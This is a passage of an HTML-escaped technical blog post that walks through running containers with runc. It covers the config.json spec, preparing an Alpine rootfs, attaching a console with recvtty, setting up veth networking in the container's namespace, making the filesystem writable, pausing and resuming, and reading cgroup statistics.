        &amp;quot;resources&amp;quot;: {
            &amp;quot;devices&amp;quot;: [
                {
                    &amp;quot;allow&amp;quot;: false,
                    &amp;quot;access&amp;quot;: &amp;quot;rwm&amp;quot;
                }
            ]
        },
        &amp;quot;namespaces&amp;quot;: [
            {
                &amp;quot;type&amp;quot;: &amp;quot;pid&amp;quot;
            },
            {
                &amp;quot;type&amp;quot;: &amp;quot;network&amp;quot;
            },
            {
                &amp;quot;type&amp;quot;: &amp;quot;ipc&amp;quot;
            },
            {
                &amp;quot;type&amp;quot;: &amp;quot;uts&amp;quot;
            },
            {
                &amp;quot;type&amp;quot;: &amp;quot;mount&amp;quot;
            }
        ],
        &amp;quot;maskedPaths&amp;quot;: [
            &amp;quot;&amp;#x2F;proc&amp;#x2F;acpi&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;asound&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;kcore&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;keys&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;latency_stats&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;timer_list&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;timer_stats&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;sched_debug&amp;quot;,
            &amp;quot;&amp;#x2F;sys&amp;#x2F;firmware&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;scsi&amp;quot;
        ],
        &amp;quot;readonlyPaths&amp;quot;: [
            &amp;quot;&amp;#x2F;proc&amp;#x2F;bus&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;fs&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;irq&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;sys&amp;quot;,
            &amp;quot;&amp;#x2F;proc&amp;#x2F;sysrq-trigger&amp;quot;
        ]
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From the above code snippet, one can see that the &lt;em&gt;config.json&lt;&#x2F;em&gt; file contains information about:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;capabilities&lt;&#x2F;a&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.huihoo.com&#x2F;doxygen&#x2F;linux&#x2F;kernel&#x2F;3.7&#x2F;structtask__struct.html&quot;&gt;task structure info&lt;&#x2F;a&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxtopia.org&#x2F;online_books&#x2F;introduction_to_linux&#x2F;linux_Mount_points.html&quot;&gt;mount points&lt;&#x2F;a&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;namespaces.7.html&quot;&gt;namespaces&lt;&#x2F;a&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;cgroups.7.html&quot;&gt;cgroups&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;All of the above configuration is almost completely sufficient for&lt;em&gt;libcontainer&lt;&#x2F;em&gt; to create an isolated &lt;em&gt;Linux&lt;&#x2F;em&gt; process (container). There is one thing missing to spawn a container - the process root directory. Let’s download one and make it available for &lt;em&gt;runc&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# download an alpine fs
cryptonite@host:~$  wget http:&amp;#x2F;&amp;#x2F;dl-cdn.alpinelinux.org&amp;#x2F;alpine&amp;#x2F;v3.10&amp;#x2F;releases&amp;#x2F;x86_64&amp;#x2F;alpine-minirootfs-3.10.1-x86_64.tar.gz
...
cryptonite@host:~$ mkdir rootfs &amp;amp;&amp;amp; tar -xzf \
    alpine-minirootfs-3.10.1-x86_64.tar.gz -C rootfs
cryptonite@host:~$ ls rootfs
bin  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We have downloaded the root file system of an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinelinux.org&#x2F;&quot;&gt;Alpine Linux&lt;&#x2F;a&gt; image - the missing part of the &lt;em&gt;OCI runtime-spec&lt;&#x2F;em&gt;. Now we can create a container process executing a &lt;em&gt;sh&lt;&#x2F;em&gt;shell.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ runc create --help
NAME:
   runc create - create a container
...
DESCRIPTION:
   The create command creates an instance of a container for a bundle. The bundle
is a directory with a specification file named &amp;quot;config.json&amp;quot; and a root
filesystem.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okay, let’s put everything together in this bundle and spawn a new baby container! We will distinguish two types of containers: - &lt;strong&gt;root&lt;&#x2F;strong&gt; - containers running under UID=0. -&lt;strong&gt;rootless&lt;&#x2F;strong&gt; - containers running under a UID different from 0.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;creating-root-container&quot;&gt;Creating root container&lt;&#x2F;h2&gt;
&lt;p&gt;To be able to create a root container (process running under UID=0), one has to change the ownership of the root filesystem which was just downloaded (if the user is not already root).&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo su -
# move the config.json file and the rootfs
# to the bundle directory
root@host:~ # mkdir bundle &amp;amp;&amp;amp; mv config.json .&amp;#x2F;bundle &amp;amp;&amp;amp; mv rootfs .&amp;#x2F;bundle;
# change the ownership to root
root@host:~ #chown -R $(id -u) bundle
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Almost everything is ready. We have one last detail to take care of: since we would like to detach our root container from &lt;em&gt;runc&lt;&#x2F;em&gt; and its file descriptors to interact with it, we have to create a &lt;em&gt;TTY&lt;&#x2F;em&gt; socket and connect to it from both sides (from the container side and from our terminal). We are going to use&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;runc&#x2F;blob&#x2F;main&#x2F;contrib&#x2F;cmd&#x2F;recvtty&#x2F;recvtty.go&quot;&gt;recvtty&lt;&#x2F;a&gt;which is part of the official &lt;strong&gt;runc&lt;&#x2F;strong&gt; project.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ go install github.com&amp;#x2F;opencontainers&amp;#x2F;runc&amp;#x2F;contrib&amp;#x2F;cmd&amp;#x2F;recvtty@latest
# create the tty socket and wait connection
# from the pseudo-terminal in the container
cryptonite@host:~$ recvtty tty.sock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we switch to another terminal to create the container via &lt;em&gt;runc&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# in another terminal
cryptonite@host:~$ sudo runc create -b bundle --console-socket $(pwd)&amp;#x2F;tty.sock container-crypt0n1t3
cryptonite@host:~$ sudo runc list
ID                     PID         STATUS      BUNDLE     CREATED                          OWNER
container-crypt0n1t3   86087       created     ~&amp;#x2F;bundle   2022-03-15T15:46:41.562034388Z   root
cryptonite@host:~$ ps aux | grep 86087
root       86087  0.0  0.0 1086508 11640 pts&amp;#x2F;0   Ssl+ 16:46   0:00 runc init
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Our baby container is now created but it is not running the defined &lt;em&gt;sh&lt;&#x2F;em&gt;program as configured in the &lt;em&gt;JSON&lt;&#x2F;em&gt; file. That is because the &lt;em&gt;runc init&lt;&#x2F;em&gt; process is still keeping the process which has to load the &lt;em&gt;sh&lt;&#x2F;em&gt;program in a namespaced (isolated) environment. Let’s inspect what is going on inside &lt;em&gt;runc init&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# inspect namespaces of runc init process
cryptonite@host:~$ sudo ls -al &amp;#x2F;proc&amp;#x2F;86087&amp;#x2F;ns
total 0
dr-x--x--x 2 root root 0 mars  15 16:57 .
dr-xr-xr-x 9 root root 0 mars  15 16:46 ..
lrwxrwxrwx 1 root root 0 mars  15 16:57 cgroup -&amp;gt; &amp;#x27;cgroup:[4026531835]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 ipc -&amp;gt; &amp;#x27;ipc:[4026532681]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 mnt -&amp;gt; &amp;#x27;mnt:[4026532663]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 net -&amp;gt; &amp;#x27;net:[4026532685]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 pid -&amp;gt; &amp;#x27;pid:[4026532682]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 pid_for_children -&amp;gt; &amp;#x27;pid:[4026532682]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 time -&amp;gt; &amp;#x27;time:[4026531834]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 time_for_children -&amp;gt; &amp;#x27;time:[4026531834]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 user -&amp;gt; &amp;#x27;user:[4026531837]&amp;#x27;
lrwxrwxrwx 1 root root 0 mars  15 16:57 uts -&amp;gt; &amp;#x27;uts:[4026532676]&amp;#x27;
# inspect current shell namespaces
cryptonite@host:~$ sudo ls -al &amp;#x2F;proc&amp;#x2F;$$&amp;#x2F;ns
total 0
dr-x--x--x 2 cryptonite cryptonite 0 mars  15 16:57 .
dr-xr-xr-x 9 cryptonite cryptonite 0 mars  15 16:16 ..
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 cgroup -&amp;gt; &amp;#x27;cgroup:[4026531835]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 ipc -&amp;gt; &amp;#x27;ipc:[4026531839]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 mnt -&amp;gt; &amp;#x27;mnt:[4026531840]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 net -&amp;gt; &amp;#x27;net:[4026532008]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 pid -&amp;gt; &amp;#x27;pid:[4026531836]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 pid_for_children -&amp;gt; &amp;#x27;pid:[4026531836]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 time -&amp;gt; &amp;#x27;time:[4026531834]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 time_for_children -&amp;gt; &amp;#x27;time:[4026531834]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 user -&amp;gt; &amp;#x27;user:[4026531837]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  15 16:57 uts -&amp;gt; &amp;#x27;uts:[4026531838]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can confirm that, except for the &lt;em&gt;user&lt;&#x2F;em&gt; and &lt;em&gt;time&lt;&#x2F;em&gt; namespaces, the&lt;em&gt;init runc&lt;&#x2F;em&gt; process is using a different set of namespaces than our regular shell. But why hasn’t it launched our shell process?&lt;&#x2F;p&gt;
&lt;p&gt;Here is the time to say again that &lt;em&gt;runc&lt;&#x2F;em&gt; is a pretty low-level runtime and does not handle a lot of configurations compared to other more high-level runtimes. For example, it doesn’t configure any networking interface for the isolated process. In order to further configure the container process, &lt;em&gt;runc&lt;&#x2F;em&gt; puts it in a containment facility (runc-init) where additional configurations can be added. To illustrate in a more practical way why this containment can be useful, we are going to refer to a previous&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.quarkslab.com&#x2F;digging-into-linux-namespaces-part-2.html&quot;&gt;article&lt;&#x2F;a&gt;and configure the network namespace for our baby container.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;configuring-runc-init-with-network-interface&quot;&gt;Configuring runc-init with network interface&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;# enter the container network namespace
cryptonite@host:~$ sudo nsenter --target 86087 --net
root@qb:~ # ifconfig -a
lo: flags=73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# no network interface ;(
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We see that indeed there are no interfaces in the network namespace of the &lt;em&gt;runc init&lt;&#x2F;em&gt; process, it is cut off from the world. Let’s bring it back!&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# create a virtual pair and turn one of the sides on
cryptonite@host:~$ sudo ip link add veth0 type veth peer name ceth0
cryptonite@host:~$ sudo ip link set veth0 up
# assign an IP range
cryptonite@host:~$ sudo ip addr add 172.12.0.11&amp;#x2F;24 dev veth0
# and put it in the net namespace of runc init
cryptonite@host:~$ sudo ip link set ceth0 netns &amp;#x2F;proc&amp;#x2F;86087&amp;#x2F;ns&amp;#x2F;net
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can now inspect once again what is going on in the network namespace.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo nsenter --target 86087 --net
root@host:~ # ifconfig -a
ceth0: flags=4098&amp;lt;BROADCAST,MULTICAST&amp;gt;  mtu 1500
        ether 8a:4f:1c:61:74:f4  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# and there it is !
# let&amp;#x27;s configure it to be functional
root@host:~ # ip link set lo up
root@host:~ # ip link set ceth0 up
root@host:~ # ip addr add 172.12.0.12&amp;#x2F;24 dev ceth0
root@host:~ # ping -c 1 172.12.0.11
PING 172.12.0.11 (172.12.0.11) 56(84) bytes of data.
64 bytes from 172.12.0.11: icmp_seq=1 ttl=64 time=0.180 ms
--- 172.12.0.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min&amp;#x2F;avg&amp;#x2F;max&amp;#x2F;mdev = 0.180&amp;#x2F;0.180&amp;#x2F;0.180&amp;#x2F;0.000 ms
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we have configured a virtual interface and connected the network namespace of the &lt;em&gt;runc init&lt;&#x2F;em&gt; process with the host network namespace. This configuration is not mandatory and the container process executing a &lt;em&gt;sh&lt;&#x2F;em&gt; shell could be started without any connection to the host. However, this configuration can be useful for other processes delivering network functionalities. The &lt;em&gt;sh&lt;&#x2F;em&gt; program is still not running inside the process as desired. After the configuration is done, one can finally spawn the container running the predefined program.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;starting-the-root-container&quot;&gt;Starting the root container&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo runc start container-crypt0n1t3
cryptonite@host:~$ ps aux | grep 86087
root       86087  0.0  0.0   1632   892 pts&amp;#x2F;0    Ss+  16:46   0:00 &amp;#x2F;bin&amp;#x2F;sh
cryptonite@host:~$ ps aux | grep 86087
sudo runc list
ID                     PID         STATUS      BUNDLE     CREATED                          OWNER
container-crypt0n1t3   86087       running     ~&amp;#x2F;bundle   2022-03-15T15:46:41.562034388Z   root
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The container is finally running under the same PID but has changed its executable to  &lt;em&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;em&gt;. Meanwhile, in the terminal holding the &lt;em&gt;recvtty&lt;&#x2F;em&gt; a shell pops out - yay! We can interact with our newly spawned container.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ recvtty tty.sock
# the shell drops here
&amp;#x2F; # ls
ls
bin    etc    lib    mnt    proc   run    srv    tmp    var
dev    home   media  opt    root   sbin   sys    usr
&amp;#x2F; # ifconfig -a
ifconfig -a
ceth0     Link encap:Ethernet  HWaddr 8A:4F:1C:61:74:F4
          inet addr:172.12.0.12  Bcast:0.0.0.0  Mask:255.255.255.0
          inet6 addr: fe80::884f:1cff:fe61:74f4&amp;#x2F;64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:43 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6259 (6.1 KiB)  TX bytes:1188 (1.1 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1&amp;#x2F;128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
&amp;#x2F; # id
id
uid=0(root) gid=0(root)
&amp;#x2F; # ps aux
ps aux
PID   USER     TIME  COMMAND
    1 root      0:00 &amp;#x2F;bin&amp;#x2F;sh
   19 root      0:00 ps aux
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For those familiar with other container technologies, this terminal is familiar ;). Okay &lt;em&gt;runc&lt;&#x2F;em&gt; is really cool but what more can we do with it? Well, pretty much anything concerning the life management of this container.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;writable-storage-inside-a-container&quot;&gt;Writable storage inside a container&lt;&#x2F;h3&gt;
&lt;p&gt;By default when creating a container, &lt;em&gt;runc&lt;&#x2F;em&gt; mounts the root file system as read-only. This is problematic because our process cannot use the file system in which it is “chrooted”.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# in recvtty terminal
&amp;#x2F; # touch hello
touch hello
touch: hello: Read-only file system
&amp;#x2F; # mount
mount
&amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;vgubuntu-root on &amp;#x2F; type ext4 (ro,relatime,errors=remount-ro)
...
# ;((
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To change that, one can modify the &lt;em&gt;config.json&lt;&#x2F;em&gt; file.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;root&amp;quot;: {
        &amp;quot;path&amp;quot;: &amp;quot;rootfs&amp;quot;,
        &amp;quot;readonly&amp;quot;: false
    },
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo runc create -b bundle --console-socket $(pwd)&amp;#x2F;tty.sock wcontainer-crypt0n1t3
cryptonite@host:~$ sudo runc start wcontainer-crypt0n1t3

# in the recvtty shell
&amp;#x2F; # touch hello
touch hello
&amp;#x2F; # ls
ls
bin     etc     home    media   opt     rootfs  sbin    sys     usr
dev     hello   lib     mnt     proc    run     srv     tmp     var
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This solution is rather too general. It is better from here to define more specific rules for the different subdirectories under the root file system.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pause-and-resume-a-container&quot;&gt;Pause and resume a container&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;# pause and inspect the process state
cryptonite@host:~$ sudo runc  pause container-crypt0n1t3
cryptonite@host:~$ sudo sudo runc list
ID                     PID         STATUS      BUNDLE     CREATED                         OWNER
container-crypt0n1t3   86087       paused      ~&amp;#x2F;bundle   2022-03-15T15:46:41.562034388Z   root
# investigate the system state  of the process
cryptonite@host:~$ ps aux | grep 86087
root       86087  0.0  0.0   1632   892 pts&amp;#x2F;0    Ds+  16:46   0:00 &amp;#x2F;bin&amp;#x2F;sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From the above code snippet, one can see that after pausing a container, the system process is put in a state &lt;em&gt;Ds+&lt;&#x2F;em&gt; . This state translates to&lt;strong&gt;uninterruptible sleep&lt;&#x2F;strong&gt; (state for I&#x2F;O). In this state the process doesn’t receive almost any of the OS signals and can’t be debugged (ptrace). Let’s resume it and inspect its state again.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo sudo runc resume container-crypt0n1t3
cryptonite@host:~$ ps aux | grep 86087
root       86087  0.0  0.0   1632   892 pts&amp;#x2F;0    Ss+  16:46   0:00 &amp;#x2F;bin&amp;#x2F;sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One can see that after resuming, the process has changed its state to&lt;em&gt;Ss+&lt;&#x2F;em&gt;  (&lt;strong&gt;interruptible sleep&lt;&#x2F;strong&gt;). In this state it can again receive signals and be debugged. Let’s investigate deeper how the sleep and resume are done on kernel level.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ strace sudo runc  pause container-crypt0n1t3
...
rt_sigaction(SIGRTMIN, {sa_handler=0x7f198de71bf0, sa_mask=[], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7f198de7f3c0}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {sa_handler=0x7f198de71c90, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART|SA_SIGINFO, sa_restorer=0x7f198de7f3c0}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
...
cryptonite@host:~ strace sudo runc resume container-crypt0n1t3
...
rt_sigaction(SIGRTMIN, {sa_handler=0x7fcb0f28cbf0, sa_mask=[], sa_flags=SA_RESTORER|SA_SIGINFO, sa_restorer=0x7fcb0f29a3c0}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {sa_handler=0x7fcb0f28cc90, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART|SA_SIGINFO, sa_restorer=0x7fcb0f29a3c0}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From the above code snippets we can see that the container pause is implemented using Linux signals (SIGRTMIN, SIGRT_1) and predefined handlers.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;inspect-the-current-state-of-a-container&quot;&gt;Inspect the current state of a container&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; also allows to inspect the state of the running container on the fly. It shows the usage limit of different OS resources (CPU usage per core, RAM pages and page faults, I&#x2F;O, SWAP, Network card) at the time of execution of the container:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# stopped and deleted old container - started with a new default one
cryptonite@host:~$ sudo runc events container-crypt0n1t3
{&amp;quot;type&amp;quot;:&amp;quot;stats&amp;quot;,&amp;quot;id&amp;quot;:&amp;quot;container-crypt0n1t3&amp;quot;,&amp;quot;data&amp;quot;:{&amp;quot;cpu&amp;quot;:{&amp;quot;usage&amp;quot;:{
&amp;quot;total&amp;quot;:22797516,&amp;quot;percpu&amp;quot;:[1836602,9757585,1855859,494447,2339327,3934238,
139074,2440384],&amp;quot;percpu_kernel&amp;quot;:[0,0,391015,0,0,0,0,0],
&amp;quot;percpu_user&amp;quot;:[1836602,9757585,1464844,494447,2339327,3934238,139074,2440384],
&amp;quot;kernel&amp;quot;:0,&amp;quot;user&amp;quot;:0},&amp;quot;throttling&amp;quot;:{}},&amp;quot;cpuset&amp;quot;:{&amp;quot;cpus&amp;quot;:[0,1,2,3,4,5,6,7],
&amp;quot;cpu_exclusive&amp;quot;:0,&amp;quot;mems&amp;quot;:[0],&amp;quot;mem_hardwall&amp;quot;:0,&amp;quot;mem_exclusive&amp;quot;:0,
&amp;quot;memory_migrate&amp;quot;:0,&amp;quot;memory_spread_page&amp;quot;:0,&amp;quot;memory_spread_slab&amp;quot;:0,
&amp;quot;memory_pressure&amp;quot;:0,&amp;quot;sched_load_balance&amp;quot;:1,&amp;quot;sched_relax_domain_level&amp;quot;:-1},
&amp;quot;memory&amp;quot;:{&amp;quot;usage&amp;quot;:{&amp;quot;limit&amp;quot;:9223372036854771712,&amp;quot;usage&amp;quot;:348160,&amp;quot;max&amp;quot;:3080192,
&amp;quot;failcnt&amp;quot;:0},&amp;quot;swap&amp;quot;:{&amp;quot;limit&amp;quot;:9223372036854771712,&amp;quot;usage&amp;quot;:348160,&amp;quot;max&amp;quot;:3080192,
&amp;quot;failcnt&amp;quot;:0},&amp;quot;kernel&amp;quot;:{&amp;quot;limit&amp;quot;:9223372036854771712,&amp;quot;usage&amp;quot;:208896,&amp;quot;max&amp;quot;:512000,
&amp;quot;failcnt&amp;quot;:0},&amp;quot;kernelTCP&amp;quot;:{&amp;quot;limit&amp;quot;:9223372036854771712,&amp;quot;failcnt&amp;quot;:0},&amp;quot;raw&amp;quot;:
{&amp;quot;active_anon&amp;quot;:4096,&amp;quot;active_file&amp;quot;:0,&amp;quot;cache&amp;quot;:0,&amp;quot;dirty&amp;quot;:0,
&amp;quot;hierarchical_memory_limit&amp;quot;:9223372036854771712,&amp;quot;hierarchical_memsw_limit&amp;quot;:9223372036854771712,
&amp;quot;inactive_anon&amp;quot;:135168,&amp;quot;inactive_file&amp;quot;:0,&amp;quot;mapped_file&amp;quot;:0,
&amp;quot;pgfault&amp;quot;:1063,&amp;quot;pgmajfault&amp;quot;:0,&amp;quot;pgpgin&amp;quot;:657,&amp;quot;pgpgout&amp;quot;:623,&amp;quot;rss&amp;quot;:139264,
&amp;quot;rss_huge&amp;quot;:0,&amp;quot;shmem&amp;quot;:0,&amp;quot;swap&amp;quot;:0,
&amp;quot;total_active_anon&amp;quot;:4096,&amp;quot;total_active_file&amp;quot;:0,&amp;quot;total_cache&amp;quot;:0,
&amp;quot;total_dirty&amp;quot;:0,&amp;quot;total_inactive_anon&amp;quot;:135168,&amp;quot;total_inactive_file&amp;quot;:0,
&amp;quot;total_mapped_file&amp;quot;:0,&amp;quot;total_pgfault&amp;quot;:1063,&amp;quot;total_pgmajfault&amp;quot;:0,&amp;quot;total_pgpgin&amp;quot;:657,
&amp;quot;total_pgpgout&amp;quot;:623,&amp;quot;total_rss&amp;quot;:139264,&amp;quot;total_rss_huge&amp;quot;:0,&amp;quot;total_shmem&amp;quot;:0,&amp;quot;total_swap&amp;quot;:0,
&amp;quot;total_unevictable&amp;quot;:0,&amp;quot;total_writeback&amp;quot;:0,&amp;quot;unevictable&amp;quot;:0,&amp;quot;writeback&amp;quot;:0}},
&amp;quot;pids&amp;quot;:{&amp;quot;current&amp;quot;:1},&amp;quot;blkio&amp;quot;:{},&amp;quot;hugetlb&amp;quot;:{&amp;quot;1GB&amp;quot;:{&amp;quot;failcnt&amp;quot;:0},&amp;quot;2MB&amp;quot;:{&amp;quot;failcnt&amp;quot;:0}},
&amp;quot;intel_rdt&amp;quot;:{},&amp;quot;network_interfaces&amp;quot;:null}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Some of the above limits represent the &lt;strong&gt;hard limits&lt;&#x2F;strong&gt; imposed by the cgroups &lt;em&gt;Linux&lt;&#x2F;em&gt; feature.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ cat &amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;cgroup&amp;#x2F;memory&amp;#x2F;user.slice&amp;#x2F;user-1000.slice&amp;#x2F;user@1000.service&amp;#x2F;container-crypt0n1t3&amp;#x2F;memory.limit_in_bytes
9223372036854771712
# same memory limit
cryptonite@host:~$ cat &amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;cgroup&amp;#x2F;cpuset&amp;#x2F;container-crypt0n1t3&amp;#x2F;cpuset.cpus
0-7
# same number of cpus used
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
